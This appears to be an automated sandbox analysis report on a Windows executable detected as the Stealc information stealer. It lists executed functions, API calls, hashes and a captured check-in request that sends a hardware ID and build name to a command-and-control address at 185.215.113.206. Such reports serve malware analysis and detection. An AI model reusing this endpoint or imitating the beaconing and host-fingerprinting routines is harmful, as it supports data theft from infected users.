Oct 28, 2024 21:41:05.432517052 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 35 34 37 34 42 46 32 42 45 34 31 38 36 36 34 38 36 36 33 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="hwid"7E5474BF2BE41866486636------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="build"tale------AECAECFCAAEBFHIEHDGH--
Oct 28, 2024 21:41:05.720895052 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:41:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	16:40:58
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x110000
File size:	2'181'632 bytes
MD5 hash:	37AD51A72AE2EE4F18F90DB961CA42E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2154333507.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.9%
Total number of Nodes:	1327
Total number of Limit Nodes:	24

Executed Functions

Function 00129BB0 Relevance: 65.0, APIs: 33, Strings: 4, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00E31660), ref: 00129BF1
GetProcAddress.KERNEL32(76210000,00E31768), ref: 00129C0A
GetProcAddress.KERNEL32(76210000,00E31588), ref: 00129C22
GetProcAddress.KERNEL32(76210000,00E31708), ref: 00129C3A
GetProcAddress.KERNEL32(76210000,00E315A0), ref: 00129C53
GetProcAddress.KERNEL32(76210000,00E39250), ref: 00129C6B
GetProcAddress.KERNEL32(76210000,00E266F8), ref: 00129C83
GetProcAddress.KERNEL32(76210000,00E26678), ref: 00129C9C
GetProcAddress.KERNEL32(76210000,00E316D8), ref: 00129CB4
GetProcAddress.KERNEL32(76210000,00E31618), ref: 00129CCC
GetProcAddress.KERNEL32(76210000,00E31648), ref: 00129CE5
GetProcAddress.KERNEL32(76210000,00E31678), ref: 00129CFD
GetProcAddress.KERNEL32(76210000,00E26818), ref: 00129D15
GetProcAddress.KERNEL32(76210000,00E316F0), ref: 00129D2E
GetProcAddress.KERNEL32(76210000,00E31720), ref: 00129D46
GetProcAddress.KERNEL32(76210000,00E26878), ref: 00129D5E
GetProcAddress.KERNEL32(76210000,00E31750), ref: 00129D77
GetProcAddress.KERNEL32(76210000,00E31780), ref: 00129D8F
GetProcAddress.KERNEL32(76210000,00E26578), ref: 00129DA7
GetProcAddress.KERNEL32(76210000,00E31828), ref: 00129DC0
GetProcAddress.KERNEL32(76210000,00E264D8), ref: 00129DD8
LoadLibraryA.KERNEL32(00E31858,?,00126CA0), ref: 00129DEA
LoadLibraryA.KERNEL32(00E317F8,?,00126CA0), ref: 00129DFB
LoadLibraryA.KERNEL32(00E31870,?,00126CA0), ref: 00129E0D
LoadLibraryA.KERNEL32(00E31888,?,00126CA0), ref: 00129E1F
LoadLibraryA.KERNEL32(00E318A0,?,00126CA0), ref: 00129E30
GetProcAddress.KERNEL32(75B30000,00E318B8), ref: 00129E52
GetProcAddress.KERNEL32(751E0000,00E31810), ref: 00129E73
GetProcAddress.KERNEL32(751E0000,00E31840), ref: 00129E8B
GetProcAddress.KERNEL32(76910000,00E394C8), ref: 00129EAD
GetProcAddress.KERNEL32(75670000,00E264F8), ref: 00129ECE
GetProcAddress.KERNEL32(77310000,00E39190), ref: 00129EEF
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00129F06

Strings

NtQueryInformationProcess, xrefs: 00129EFA
xe, xrefs: 00129D9A
xf, xrefs: 00129C8E
xh, xrefs: 00129D51

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess$xe$xf$xh
API String ID: 2238633743-3466325136
Opcode ID: 0c2cb0fde46f4a7c507a437b61310ff78d50f012e8365228532c6a561c6f97af
Instruction ID: 1d928d0bcd7130c4272e01384b346f9f557e71b9e7e577e4efc100ace6eb0166
Opcode Fuzzy Hash: 0c2cb0fde46f4a7c507a437b61310ff78d50f012e8365228532c6a561c6f97af
Instruction Fuzzy Hash: C5A14CB55182809FC366DFA8FCC99567BADE75D341F108B1ABA09CB2F0D734A941CB60

Function 00114610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0011465F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 001147EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001147C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001146C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0011471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001146D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0011476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001147B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0011478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001146A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001146FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0011462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001147CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001146BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0011479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0011467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00114728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001147AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001146B2

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: d5b2e99fd46db3773760923cfd6d3937d0d23b7a6b0c69e8adfb6cd7234d23f7
Instruction ID: 307cac1193e5f3ea411efd0d988fdb1eee19b69b60cb1bc9ca0a04b3a3605426
Opcode Fuzzy Hash: d5b2e99fd46db3773760923cfd6d3937d0d23b7a6b0c69e8adfb6cd7234d23f7
Instruction Fuzzy Hash: B94112607C26057EEFB8FBA68C42E9F76775F43F08F415040FA0652682CBF87509656A

Function 001162D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 00114800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00114889
Part of subcall function 00114800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00114899

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

InternetOpenA.WININET(00130DFF,00000001,00000000,00000000,00000000), ref: 00116331
StrCmpCA.SHLWAPI(?,00E3F970), ref: 00116353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00116385
HttpOpenRequestA.WININET(00000000,GET,?,00E3F0E0,00000000,00000000,00400100,00000000), ref: 001163D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0011640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00116421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0011644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 001164BD
InternetCloseHandle.WININET(00000000), ref: 0011653F
InternetCloseHandle.WININET(00000000), ref: 00116549
InternetCloseHandle.WININET(00000000), ref: 00116553

Strings

GET, xrefs: 001163CC
ERROR, xrefs: 00116457
ERROR, xrefs: 00116519

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 374f1beed2193f43b7e6d0f6a1cd21100047ab231b4f14c9e5a64432e9a608d3
Instruction ID: 80d1bf1c5675104b4f8f1439264f04133077deb46b50a173c2b0a7eb18e5bbf5
Opcode Fuzzy Hash: 374f1beed2193f43b7e6d0f6a1cd21100047ab231b4f14c9e5a64432e9a608d3
Instruction Fuzzy Hash: 48717F71A00218EBDB28DF90DC95BEE7779BF54700F1085A8F10A6B1D0DBB56A84CF51

Function 00127690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 001276D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0012770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00127793
RtlAllocateHeap.NTDLL(00000000), ref: 0012779A
wsprintfA.USER32 ref: 001277D0

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Strings

:, xrefs: 001276EC
C, xrefs: 001276DC
\, xrefs: 001276F0

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: fe573b2c7ed48ead4579e023e3b1a576af8e043b86adf5987625c977457bcb3d
Instruction ID: b4e4de3be4c8caa854d472460f4e7577c4bc5fdec73ca028453ad814c7aa4575
Opcode Fuzzy Hash: fe573b2c7ed48ead4579e023e3b1a576af8e043b86adf5987625c977457bcb3d
Instruction Fuzzy Hash: 1141B3B1D04358EBDB11DF94EC85BDEBBB8AF18700F100199F609AB2C0D774AA54CBA5

Function 001279E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001111B7), ref: 00127A10
RtlAllocateHeap.NTDLL(00000000), ref: 00127A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00127A2F

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 1b602368f0943b89a0bd8794e31c07873d755e13ffdef095292d5cc225d0f417
Instruction ID: bbcf97a8af6c3191dbf4dfe45d3631a26bfa1df6274dfd68a95416f6b77c6482
Opcode Fuzzy Hash: 1b602368f0943b89a0bd8794e31c07873d755e13ffdef095292d5cc225d0f417
Instruction Fuzzy Hash: 1CF04FB1D48249EBC714DF98ED85BAEBBBCEB05721F10061AFA15A7680C77515008BA1

Function 00111160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0011116A
ExitProcess.KERNEL32 ref: 0011117E

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
